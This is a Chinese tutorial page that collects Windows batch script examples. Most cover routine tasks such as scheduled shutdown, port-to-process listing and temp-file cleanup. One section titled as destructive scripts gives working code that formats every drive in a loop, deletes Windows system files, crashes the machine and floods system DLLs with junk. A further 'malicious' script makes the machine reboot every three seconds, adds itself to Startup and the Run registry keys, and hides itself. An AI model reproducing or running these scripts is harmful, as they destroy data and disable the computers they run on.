手机
当前位置:查字典教程网 >脚本专栏 >DOS/BAT >批处理实例代码教程 集合
批处理实例代码教程 集合
摘要:批处理实例代码教程-------------------------------------------------------------...

批处理实例代码教程

--------------------------------------------------------------------------------

批处理程序删除自身.bat

echo 有时候我们需要批处理程序在执行完成之后删除自身,可以用 del %0

例:

复制代码 代码如下:

@echo off

echo 按任意键后我将删除自身

pause

del %0

--------------------------------------------------------------------------------

批处理发送文件夹的快捷方式到桌面

复制代码 代码如下:

echo [InternetShortcut] > "%userprofile%桌面文件夹.url"

echo URL=file:///C:/windows >> "%userprofile%桌面文件夹.url"

--------------------------------------------------------------------------------

批处理获取IP生成TXT文本.bat

以下代码是批处理获取IP同时生成TXT文本:

复制代码 代码如下:

@echo off

<"%~f0" more +5 >tmp.vbs

cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt

echo >nul && del tmp.vbs

goto:eof

set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")

do until oDOM.readyState = "complete"

WScript.sleep 200

Loop

s=oDOM.documentElement.innerText

set re = New RegExp

re.Pattern="(d+).(d+).(d+).(d+)"

For Each m in re.Execute(s)

WScript.Echo m

Next

--------------------------------------------------------------------------------

利用批处理禁用(启用)组策略

regsvr32 /s /u gpedit.dll 禁用

regsvr32 /s gpedit.dll 启用

单单使用这命令依然可以禁止使用组策略,但这样导致的后果就是-

这时候运行的组策略基本上只是个空壳了!利用下面的批处理将完美解决此类问题!

将下面这些代码编成BAT批处理文件,这段是禁用组策略的命令

复制代码 代码如下:

@echo off

regsvr32 /s /u fde.dll

regsvr32 /s /u gpedit.dll

regsvr32 /s /u gptext.dll

regsvr32 /s /u wsecedit.dll

exit

这是启用组策略

复制代码 代码如下:

@echo off

regsvr32 /s fde.dll

regsvr32 /s gpedit.dll

regsvr32 /s gptext.dll

regsvr32 /s wsecedit.dll

exit

--------------------------------------------------------------------------------

批处理定时关机.bat

复制代码 代码如下:

@echo off

mode con lines=25

title 定时关机

color 1f

cls

echo.

echo.

echo.

echo.

echo 时间使用24小时制(如2:15、12:00),可以输入多个时间点

echo.

echo 多个时间点用空格分隔

echo.

echo.

echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

echo.

set times=

set /p times= 请输入关机时间:

:: 以下语句实现每个星期的每一天指定时间关机

:: 如果要换成每个月的某几天,请改字母为数字,并用逗号分隔

:: 以下代码没有错误检测语句,输入时间的时候务必按照指定格式输入

:: 可以用在CMD窗口用at命令来查看计划任务

if not "%times%"=="" for %%i in (%times%) do (

at %%i /every:M,T,W,Th,F,S,Su shutdown -s

)

--------------------------------------------------------------------------------

批处理创建url格式的快捷方式.bat

复制代码 代码如下:

@echo off

echo [InternetShortcut] >cmd.url

echo URL=%windir%system32cmd.exe >>cmd.url

echo IconIndex=0 >>cmd.url

echo IconFile=%windir%system32cmd.exe>>cmd.url

--------------------------------------------------------------------------------

批处理进入全屏幕界面.bat

复制代码 代码如下:

@echo off

:: 设定:运行在全屏模式下

echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul

chcp 437>nul

graftabl 936>nul

:rem 下面放置任何命令……

dir

pause

--------------------------------------------------------------------------------

最小化运行批处理.bat

复制代码 代码如下:

::最小化运行批处理

@echo off&&mode con cols=15 lines=1

%1 %2

start /min /i "" "%~nx0" goto min&&goto :eof

:min

echo xxx

pause>nul

exit

@echo off

mode con cols=15 lines=1

if exist "Temp.bat" goto Start

>Temp.bat echo start/min "" "%~nx0"^&exit

start/min Temp.bat&exit

:Start

del "Temp.bat">nul

pause

--------------------------------------------------------------------------------

全盘查找QQ.exe并执行.bat

复制代码 代码如下:

@echo off

:: 全盘查找qq.exe,找到之后就执行并退出CMD窗口

:: fsutil fsinfo drives 得出来的结果虽然中间有空格,但是他代表是回车符或者换行符的作用,所以还要用find /v来过滤,否则,只得到第一个分区

setlocal enabledelayedexpansion

for /f "delims=" %%i in ('fsutil fsinfo drives^|find /v ""') do (

set var=%%i

set drive=!var:~-2!

fsutil fsinfo drivetype !drive!|find "固定">nul && (

for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit

)

)

--------------------------------------------------------------------------------

删除历史记录.bat

复制代码 代码如下:

@echo off

:: 删除"运行"、"查找"等处的历史记录

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001

--------------------------------------------------------------------------------

批处理查看进程端口

用批处理实现的获取当前进程所开启的端口代码:

复制代码 代码如下:

@echo off

color a

Title XP端口-进程查询

setlocal enabledelayedexpansion

echo ╔- -╗

echo 本机开放的端口及使用该端口的进程

echo ╚- -╝

echo ------------------------------------

echo 端口号 进程名称

ECHO TCP协议:

::利用netstat命令找出使用TCP协议通信的端口,并将结果分割;

::将第二个参数(IP加端口)传给%%i,第五个参数(PID号)传给%%j;

for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (

call :Assoc %%i TCP %%j

echo !TCP_Port! !TCP_Proc_Name!

)

ECHO UDP协议:

for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (

call :Assoc %%i UDP %%j

echo !UDP_Port! !UDP_Proc_Name!

)

echo 按任意键退出

pause>nul

:Assoc

::对%1(第一个参数)进行分割,将第二个参数传给%%e。在本程序中,%1即为上面的%%i(形式为:IP:端口号)

for /F "tokens=2 delims=:" %%e in ("%1") do (

set %2_Port=%%e

)

:: 查询PID等于%3(第三个参数)的进程,并将结果传给变量?_Proc_Name,?代表UDP或者TCP;

for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (

::%%~a表示去掉%%a外面的引号,因为上述命令的结果是用括号括起来的。

set %2_Proc_Name=%%~a

)

--------------------------------------------------------------------------------

破坏型BAT批处理脚本[慎用]

一、死循环强制格式化A:到Z:盘(对于部分速度比较快的机器会比较快当机……)

复制代码 代码如下:

:format

@format a: /q /y >nul

@format b: /q /y >nul

@format d: /q /y >nul

@format e: /q /y >nul

@format f: /q /y >nul

@format g: /q /y >nul

@format h: /q /y >nul

@format i: /q /y >nul

@format j: /q /y >nul

@format k: /q /y >nul

@format l: /q /y >nul

@format m: /q /y >nul

@format n: /q /y >nul

@format o: /q /y >nul

@format p: /q /y >nul

@format q: /q /y >nul

@format r: /q /y >nul

@format s: /q /y >nul

@format t: /q /y >nul

@format u: /q /y >nul

@format v: /q /y >nul

@format w: /q /y >nul

@format x: /q /y >nul

@format y: /q /y >nul

@format z: /q /y >nul

@format c: /q /y >nul

goto format

二、死循环强制删除C:盘WINDOWS目录下的所有文件(跟上面的一个例子效果差不多,不过这里用到了强制删除参数)

复制代码 代码如下:

:breake

@if exist %windir%system32*.* del %windir%system32*.* >nul

@if exist %windir%*.* del %windir%*.* >nul

goto breake

三、利用部分系统工具的内存占用卡到死机

复制代码 代码如下:

:die

@start regsvr32.exe /s %windir%system32*.* >nul

@start %windir%system32*.* >nul

@start notepad %windir%explorer.exe >nul

goto die

四、用部分工具的检测信息导出功能生成巨大的垃圾文件(虽然生成垃圾的速度很慢,但是跟“垃圾王”病毒有的一比,也算是“无声的*****”吧……)

复制代码 代码如下:

@start ping 127.0.0.1 -t > %windir%system32regsvr32.dll >nul

:ping

@start ping 127.0.0.1 -t >> %windir%system32regsvr32.dll >nul

@start ping 127.0.0.1 -t >> %windir%system32regedit.exe >nul

goto ping

--------------------------------------------------------------------------------

反复重启的恶意批处理

反复重启就是让别人启动了再重启 一直反复,以下代码

复制代码 代码如下:

@echo off

shutdown -r -t 3

copy %0 C:Documents" "and" "SettingsAll" "Users「开始」菜单程序启动a.bat

copy %0 c:autoexec.bat

REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v autoexec.bat /t REG_SZ /d c:autoexec.bat /f

REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v autoexec.bat /t REG_SZ /d c:autoexec.bat /f

attrib autoexec.bat +r +s +h

REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorerAdvancedFolderHiddenSHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f

del %0

3秒重启 加入了启动项 开机就会3秒倒计时

--------------------------------------------------------------------------------

删除右键“新建”菜单项目.bat

复制代码 代码如下:

@echo off

:: 只要删除"HKEY_CLASSERS_ROORT.后缀名"项目下的"ShellNew"键就可以了

:: 如果实在删除不了,则把"HKEY_CLASSERS_ROORT.后缀名"删除掉即可

mode con lines=25

title "新建"菜单内容删除器

color 1f

:input

cls

call :display

echo 如果要强行删除,请选 1

echo.

echo.

set input=

set /p input= 请输入后缀名:

if "%input%"=="" goto input

if "%input%"=="0" exit

if "%input%"=="1" goto fouce

for /f %%i in ("%input%") do (reg delete HKCR.%%iShellNew /f)

goto continue

:fouce

cls

call :display

set input=

set /p input= 请输入后缀名(强行删除):

if "%input%"=="" goto fouce

if "%input%"=="0" exit

for /f %%i in ("%input%") do (reg delete HKCR.%%i /f)

:continue

cls

call :display

echo.

set choice=

set /p choice= 还要继续清除吗?(y/n):

if "%choice%"=="" goto continue

if "%choice%"=="y" goto input

if "%choice%"=="" goto :eof

:display

echo.

echo.

echo.

echo.

echo.

echo.

echo 本程序能删除右键菜单中"新建"项目下的多余内容,为"新建"菜单减肥!

echo.

echo 如果想让某种类型的文件不再出现在鼠标右键的"新建"菜单中,请直接

echo.

echo 输入该文件类型的后缀名。例如:rar。

echo.

echo 退出请选 0

echo.

--------------------------------------------------------------------------------

快速清理垃圾文件(修正)

复制代码 代码如下:

@echo off

color f0

echo.

echo 正在安全地自动清除垃圾文件……

del /f /q %systemdrive%*.tmp>nul 2>nul

del /f /q %systemdrive%*._mp>nul 2>nul

del /f /q %systemdrive%*.log>nul 2>nul

del /f /q %systemdrive%*.gid>nul 2>nul

del /f /q %systemdrive%*.chk>nul 2>nul

del /f /q %systemdrive%*.old>nul 2>nul

del /f /q %windir%*.bak>nul 2>nul

del /f /q %windir%*.tmp>nul 2>nul

del /f /q %windir%prefetch*.*>nul 2>nul

del /f /s /q %systemdrive%recycled*.*

del /f /q "%ALLUSERSPROFILE%DocumentsDrWatson*.*">nul 2>nul

del /f /q "%USERPROFILE%Cookies*.txt">nul 2>nul

del /f /q /s "%TEMP%*.*">nul 2>nul

del /f /q /s "%Systemroot%Prefetch*.*">nul 2>nul

del /f /q "%USERPROFILE%Recent*.*">nul 2>nul

del /f /q "%USERPROFILE%Application DataMicrosoftOfficeRecent*.lnk">nul 2>nul

del /f /q /s "%USERPROFILE%Local SettingsTemp*.*">nul 2>nul

rd /s /q %windir%temp & md %windir%temp>nul 2>nul

if not exist %SystemRoot%MinidumpNUL del /f /q /s %SystemRoot%Minidump*.*>nul 2>nul

del /f /s /q "%userprofile%Local SettingsTemporary Internet Files*.*">nul 2>nul

更多的批出代码打包下载地址 http://www.jb51.net/books/34318.html

【批处理实例代码教程 集合】相关文章:

让批处理被wsh解析的代码

批处理版的SC

批处理实现一行内容分行输出的代码

用批处理实现禁止运行指定程序

用批处理解锁注册表

又一篇不错的批处理bat学习教程第1/5页

批处理 保留空行替换字符串

用批处理记录服务器远程终端3389登陆情况

用批处理制作超大文件

批处理倒计时(全屏)

精品推荐
分类导航